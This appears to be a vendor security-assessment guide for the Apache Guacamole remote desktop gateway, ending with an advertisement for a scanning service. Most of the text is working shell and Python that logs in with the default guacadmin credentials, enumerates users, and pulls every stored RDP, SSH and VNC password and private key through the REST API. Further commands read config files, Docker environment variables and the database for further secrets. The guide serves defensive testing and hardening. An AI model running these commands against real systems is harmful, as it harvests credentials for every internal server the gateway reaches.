Apache Guacamole Security Testing: Admin Credentials, RDP/SSH Credential Vault, and Session Hijacking

Apache Guacamole is the most widely deployed open-source remote desktop gateway, providing browser-based RDP, SSH, VNC, and Telnet access to internal servers. Its architecture makes it uniquely dangerous from a security perspective: it functions as a centralized credential vault for all remote access connections, storing RDP passwords, SSH private keys, VNC passwords, and X11 credentials for every server it provides access to. Key assessment areas: Guacamole defaults to guacadmin/guacadmin and many deployments retain these credentials; the Guacamole REST API with admin authentication provides access to all stored connection credentials; Guacamole session tokens do not expire on logout by default in older versions and can be reused; guacamole.properties stores the database connection string and LDAP bind credentials; and the connections endpoint exposes the complete internal network topology including all server hostnames and IP addresses accessible via the gateway. This guide covers systematic Guacamole security assessment.

Table of Contents

  1. Default Credentials and Authentication
  2. REST API Connection Credential Extraction
  3. Configuration and Property File Credentials
  4. Guacamole Security Hardening

Default Credentials and Authentication

# Apache Guacamole — default credential testing
GUAC_URL="https://guacamole.example.com"

# Test default guacadmin/guacadmin credentials
TOKEN=$(curl -s -X POST "${GUAC_URL}/api/tokens" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "username=guacadmin&password=guacadmin" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(d.get('authToken',''))
" 2>/dev/null)

if [ -n "$TOKEN" ]; then
    echo "DEFAULT CREDENTIALS VALID: guacadmin/guacadmin"
    echo "Auth token: ${TOKEN:0:30}..."
    echo "Data source: $(curl -s -X POST "${GUAC_URL}/api/tokens" \
      -H "Content-Type: application/x-www-form-urlencoded" \
      -d "username=guacadmin&password=guacadmin" 2>/dev/null | python3 -c "
import json,sys; d=json.load(sys.stdin); print(list(d.get('availableDataSources',[]))[0] if d.get('availableDataSources') else 'mysql')
")"
fi

# Enumerate all Guacamole users
DATA_SOURCE="mysql"  # or postgresql
curl -s "${GUAC_URL}/api/session/data/${DATA_SOURCE}/users" \
  -H "Guacamole-Token: ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
users=json.load(sys.stdin)
print(f'Users: {len(users)}')
for username, u in users.items():
    print(f'  {username} lastActive={u.get(\"lastActive\")} disabled={u.get(\"attributes\",{}).get(\"disabled\")}')
" 2>/dev/null

REST API Connection Credential Extraction

# Guacamole REST API — connection vault enumeration
GUAC_URL="https://guacamole.example.com"
TOKEN="guacamole-auth-token"
DATA_SOURCE="mysql"

# List all connections — every server in the gateway
curl -s "${GUAC_URL}/api/session/data/${DATA_SOURCE}/connections" \
  -H "Guacamole-Token: ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
connections=json.load(sys.stdin)
print(f'Connections: {len(connections)}')
for conn_id, c in connections.items():
    proto = c.get('protocol','')
    name = c.get('name','')
    parent = c.get('parentIdentifier','')
    print(f'  [{conn_id}] {name} protocol={proto}')
" 2>/dev/null

# Get full connection details including stored credentials for each connection
for CONN_ID in $(curl -s "${GUAC_URL}/api/session/data/${DATA_SOURCE}/connections" \
  -H "Guacamole-Token: ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys; d=json.load(sys.stdin); [print(k) for k in d.keys()]
" 2>/dev/null); do
    echo "=== Connection: ${CONN_ID} ==="
    curl -s "${GUAC_URL}/api/session/data/${DATA_SOURCE}/connections/${CONN_ID}/parameters" \
      -H "Guacamole-Token: ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
params=json.load(sys.stdin)
# Extract credentials by protocol
hostname = params.get('hostname','')
port = params.get('port','')
username = params.get('username','')
password = params.get('password','')
private_key = params.get('private-key','')  # SSH private key
vnc_password = params.get('password','')    # VNC password
print(f'  Host: {hostname}:{port}')
if username: print(f'  Username: {username}')
if password: print(f'  Password: {password}')
if private_key: print(f'  SSH Private Key: {private_key[:60]}...')
" 2>/dev/null
done

Configuration and Property File Credentials

# Guacamole configuration files — database and LDAP credentials

# guacamole.properties — database and LDAP configuration
cat /etc/guacamole/guacamole.properties 2>/dev/null
# Contains:
# mysql-hostname: localhost
# mysql-port: 3306
# mysql-database: guacamole_db
# mysql-username: guacamole_user
# mysql-password: PLAINTEXT_PASSWORD
# ldap-hostname: ad.corp.local
# ldap-user-base-dn: OU=Users,DC=corp,DC=local
# ldap-search-bind-dn: CN=guacamole-svc,OU=ServiceAccounts,DC=corp,DC=local
# ldap-search-bind-password: PLAINTEXT_LDAP_PASSWORD

# Docker environment approach
docker inspect guacamole 2>/dev/null | python3 -c "
import json,sys
containers=json.load(sys.stdin)
if not containers: import sys; sys.exit()
env = containers[0].get('Config',{}).get('Env',[])
for e in env:
    if any(k in e.upper() for k in ['PASSWORD','SECRET','KEY','USER','MYSQL','POSTGRES','LDAP']):
        print(f'Credential: {e}')
" 2>/dev/null

# Direct database query — extract all connection credentials
# (if MySQL/PostgreSQL access is available)
mysql -u guacamole_user -pPASSWORD guacamole_db 2>/dev/null << 'EOF'
SELECT c.connection_name, c.protocol, cp.parameter_name, cp.parameter_value
FROM guacamole_connection c
JOIN guacamole_connection_parameter cp ON c.connection_id = cp.connection_id
WHERE cp.parameter_name IN ('hostname','port','username','password','private-key')
ORDER BY c.connection_name;
EOF

Guacamole Security Hardening

Guacamole Security Hardening Checklist:
Security TestMethodRisk
Default guacadmin/guacadmin credentialsPOST /api/tokens with username=guacadmin&password=guacadmin — token returned on success; admin token accesses all connections and stored credentials including RDP passwords, SSH private keys, and VNC credentials for all configured serversCritical
Connection credential vault extractionGET /api/session/data/{datasource}/connections/{id}/parameters with admin token — returns all stored credentials for each connection including plaintext RDP passwords, SSH private key PEM content, and VNC passwordsCritical
guacamole.properties database credential extractionRead /etc/guacamole/guacamole.properties — mysql-password and ldap-search-bind-password stored in plaintext; database credentials allow direct access to all stored connection credentials in the databaseCritical
Internal infrastructure enumeration via connections listGET /api/session/data/{datasource}/connections — lists all RDP/SSH/VNC targets with hostnames, IP addresses, and ports; maps complete internal server infrastructure accessible via the gatewayHigh
Active session enumeration and token reuseGET /api/session/data/{datasource}/activeConnections — lists all active sessions with connection IDs and usernames; in vulnerable versions, session tokens can be reused after logout to hijack abandoned sessionsHigh

Automate Guacamole Security Testing

Ironimo tests Apache Guacamole deployments for default guacadmin credential exploitation, complete connection credential vault extraction for all RDP/SSH/VNC targets, guacamole.properties database and LDAP credential assessment, internal infrastructure mapping via connection enumeration, active session token analysis, guacd TLS configuration audit, and web application vulnerability assessment including SQL injection testing on the connection parameter endpoints.

Start free scan